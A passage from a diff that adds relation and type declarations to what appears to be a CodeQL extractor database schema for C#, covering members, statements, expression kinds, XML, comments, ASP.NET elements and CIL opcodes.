+ int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | 